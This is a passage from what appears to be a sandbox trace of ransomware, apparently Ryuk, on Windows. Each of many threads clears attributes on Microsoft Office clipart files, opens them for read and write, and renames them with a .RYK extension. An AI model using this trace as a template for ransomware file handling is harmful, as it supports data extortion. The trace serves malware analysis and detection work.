	[0278.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3612
	os_tid = 0x3d28

	[0277.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF", dwFileAttributes=0x80) returned 0
	[0277.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3613
	os_tid = 0x3d2c

	[0277.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF", dwFileAttributes=0x80) returned 0
	[0277.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.027] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3614
	os_tid = 0x3d30

	[0277.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF", dwFileAttributes=0x80) returned 0
	[0277.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3615
	os_tid = 0x3d34

	[0277.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF", dwFileAttributes=0x80) returned 0
	[0277.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3616
	os_tid = 0x3d38

	[0277.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF", dwFileAttributes=0x80) returned 0
	[0277.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3617
	os_tid = 0x3d3c

	[0277.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF", dwFileAttributes=0x80) returned 0
	[0277.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3618
	os_tid = 0x3d40

	[0277.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF", dwFileAttributes=0x80) returned 0
	[0277.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3619
	os_tid = 0x3d44

	[0277.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF", dwFileAttributes=0x80) returned 0
	[0277.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3620
	os_tid = 0x3d48

	[0277.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF", dwFileAttributes=0x80) returned 0
	[0277.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3621
	os_tid = 0x3d4c

	[0277.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF", dwFileAttributes=0x80) returned 0
	[0277.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3622
	os_tid = 0x3d50

	[0277.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF", dwFileAttributes=0x80) returned 0
	[0277.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3623
	os_tid = 0x3d54

	[0277.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF", dwFileAttributes=0x80) returned 0
	[0277.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3624
	os_tid = 0x3d58

	[0277.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF", dwFileAttributes=0x80) returned 0
	[0278.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.015] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3625
	os_tid = 0x3d5c

	[0277.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF", dwFileAttributes=0x80) returned 0
	[0278.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3626
	os_tid = 0x3d60

	[0277.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF", dwFileAttributes=0x80) returned 0
	[0278.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3627
	os_tid = 0x3d64

	[0277.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF", dwFileAttributes=0x80) returned 0
	[0278.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3628
	os_tid = 0x3d68

	[0277.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF", dwFileAttributes=0x80) returned 0
	[0278.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.271] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3629
	os_tid = 0x3d6c

	[0277.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF", dwFileAttributes=0x80) returned 0
	[0278.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3630
	os_tid = 0x3d70

	[0277.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF", dwFileAttributes=0x80) returned 0
	[0278.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3631
	os_tid = 0x3d74

	[0277.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF", dwFileAttributes=0x80) returned 0
	[0278.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3632
	os_tid = 0x3d78

	[0277.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF", dwFileAttributes=0x80) returned 0
	[0278.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3633
	os_tid = 0x3d7c

	[0277.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF", dwFileAttributes=0x80) returned 0
	[0278.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3634
	os_tid = 0x3d80

	[0277.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF", dwFileAttributes=0x80) returned 0
	[0278.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3635
	os_tid = 0x3d84

	[0277.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF", dwFileAttributes=0x80) returned 0
	[0278.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3636
	os_tid = 0x3d88

	[0277.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF", dwFileAttributes=0x80) returned 0
	[0278.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3637
	os_tid = 0x3d8c

	[0277.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF", dwFileAttributes=0x80) returned 0
